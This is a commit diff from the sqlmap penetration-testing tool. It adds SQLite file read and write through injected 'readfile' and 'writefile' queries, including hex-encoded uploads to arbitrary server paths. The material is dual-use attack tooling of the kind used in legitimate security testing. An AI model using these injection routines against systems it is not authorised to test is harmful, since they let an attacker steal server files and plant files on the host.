Skip to content

Commit 8a3b312

Browse files
committed
Implementing file read/write support for SQLite (fileio extension)
1 parent 774c044 commit 8a3b312

4 files changed

Lines changed: 100 additions & 8 deletions

File tree

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.8.46"
23+
VERSION = "1.10.8.47"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

plugins/dbms/sqlite/filesystem.py

Lines changed: 77 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,14 +5,85 @@
55
See the file 'LICENSE' for copying permission
66
"""
77

8+
from lib.core.common import singleTimeWarnMessage
9+
from lib.core.data import kb
10+
from lib.core.data import logger
11+
from lib.core.decorators import cachedmethod
12+
from lib.core.enums import CHARSET_TYPE
13+
from lib.core.enums import EXPECTED
14+
from lib.core.enums import PLACE
815
from lib.core.exception import SqlmapUnsupportedFeatureException
16+
from lib.request import inject
917
from plugins.generic.filesystem import Filesystem as GenericFilesystem
1018

1119
class Filesystem(GenericFilesystem):
12-
def readFile(self, remoteFile):
13-
errMsg = "on SQLite it is not possible to read files"
14-
raise SqlmapUnsupportedFeatureException(errMsg)
20+
@cachedmethod
21+
def _checkFunction(self, name):
22+
"""
23+
Checks for the presence of a specific SQL function inside the back-end
24+
DBMS (e.g. 'readfile'/'writefile' from the non-core 'fileio' extension,
25+
as the sqlite3 command line client has those built in, while the host
26+
application usually doesn't)
27+
"""
1528

16-
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
17-
errMsg = "on SQLite it is not possible to write files"
18-
raise SqlmapUnsupportedFeatureException(errMsg)
29+
return inject.checkBooleanExpression("(SELECT COUNT(*) FROM pragma_function_list WHERE name='%s')>0" % name)
30+
31+
def nonStackedReadFile(self, remoteFile):
32+
if not self._checkFunction("readfile"):
33+
errMsg = "on SQLite it is not possible to read files without "
34+
errMsg += "the 'fileio' extension function 'readfile' being "
35+
errMsg += "available inside the back-end DBMS"
36+
raise SqlmapUnsupportedFeatureException(errMsg)
37+
38+
if not kb.bruteMode:
39+
infoMsg = "fetching file: '%s'" % remoteFile
40+
logger.info(infoMsg)
41+
42+
return inject.getValue("HEX(readfile('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
43+
44+
def stackedReadFile(self, remoteFile):
45+
return self.nonStackedReadFile(remoteFile)
46+
47+
def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
48+
if not self._checkFunction("writefile"):
49+
errMsg = "on SQLite it is not possible to write files without "
50+
errMsg += "the 'fileio' extension function 'writefile' being "
51+
errMsg += "available inside the back-end DBMS"
52+
raise SqlmapUnsupportedFeatureException(errMsg)
53+
54+
logger.debug("encoding file to its hexadecimal string value")
55+
56+
fcEncodedList = self.fileEncode(localFile, "hex", True)
57+
fcEncodedStr = fcEncodedList[0][2:]
58+
fcEncodedStrLen = len(fcEncodedStr)
59+
60+
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
61+
warnMsg = "the injection is on a GET parameter and the file "
62+
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
63+
warnMsg += "bytes, this might cause errors in the file "
64+
warnMsg += "writing process"
65+
logger.warning(warnMsg)
66+
67+
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
68+
logger.debug(debugMsg)
69+
70+
# Note: 'unhex' (SQLite >= 3.41.0) keeps the write binary-safe; the hex
71+
# string survives sqlmap's string escaping (it becomes CHAR(...) of the
72+
# ASCII hex digits, which 'unhex' decodes back to the original bytes)
73+
if self._checkFunction("unhex"):
74+
content = "unhex('%s')" % fcEncodedStr
75+
else:
76+
warnMsg = "back-end DBMS does not have the 'unhex' function "
77+
warnMsg += "(SQLite >= 3.41.0); the file will be written from a "
78+
warnMsg += "textual value and non-ASCII bytes may get corrupted"
79+
singleTimeWarnMessage(warnMsg)
80+
81+
with open(localFile, "rb") as f:
82+
content = "'%s'" % f.read().decode("latin-1")
83+
84+
inject.getValue("writefile('%s',%s)" % (remoteFile, content), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
85+
86+
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
87+
88+
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
89+
return self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)

plugins/dbms/sqlite/fingerprint.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -108,5 +108,12 @@ def checkDbms(self):
108108

109109
return False
110110

111+
def checkDbmsOs(self, detailed=False):
112+
if Backend.getOs():
113+
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
114+
logger.info(infoMsg)
115+
else:
116+
self.userChooseDbmsOs()
117+
111118
def forceDbmsEnum(self):
112119
conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX)

plugins/generic/filesystem.py

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,6 +56,9 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False):
5656
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
5757
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
5858

59+
elif Backend.isDbms(DBMS.SQLITE):
60+
lengthQuery = "LENGTH(readfile('%s'))" % remoteFile
61+
5962
elif Backend.isDbms(DBMS.MSSQL):
6063
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
6164
inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
@@ -213,6 +216,11 @@ def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
213216
errMsg += "into the specific DBMS plugin"
214217
raise SqlmapUndefinedMethod(errMsg)
215218

219+
def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
220+
errMsg = "'nonStackedWriteFile' method must be defined "
221+
errMsg += "into the specific DBMS plugin"
222+
raise SqlmapUndefinedMethod(errMsg)
223+
216224
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
217225
errMsg = "'stackedWriteFile' method must be defined "
218226
errMsg += "into the specific DBMS plugin"
@@ -234,7 +242,7 @@ def readFile(self, remoteFile):
234242
logger.debug(debugMsg)
235243

236244
fileContent = self.stackedReadFile(remoteFile)
237-
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2):
245+
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2) or Backend.isDbms(DBMS.SQLITE):
238246
debugMsg = "going to try to read the file with non-stacked query "
239247
debugMsg += "SQL injection technique"
240248
logger.debug(debugMsg)
@@ -321,6 +329,12 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
321329
logger.debug(debugMsg)
322330

323331
written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
332+
elif Backend.isDbms(DBMS.SQLITE):
333+
debugMsg = "going to upload the file '%s' with " % fileType
334+
debugMsg += "'writefile' function"
335+
logger.debug(debugMsg)
336+
337+
written = self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)
324338
else:
325339
errMsg = "none of the SQL injection techniques detected can "
326340
errMsg += "be used to write files to the underlying file "

0 commit comments

Comments
 (0)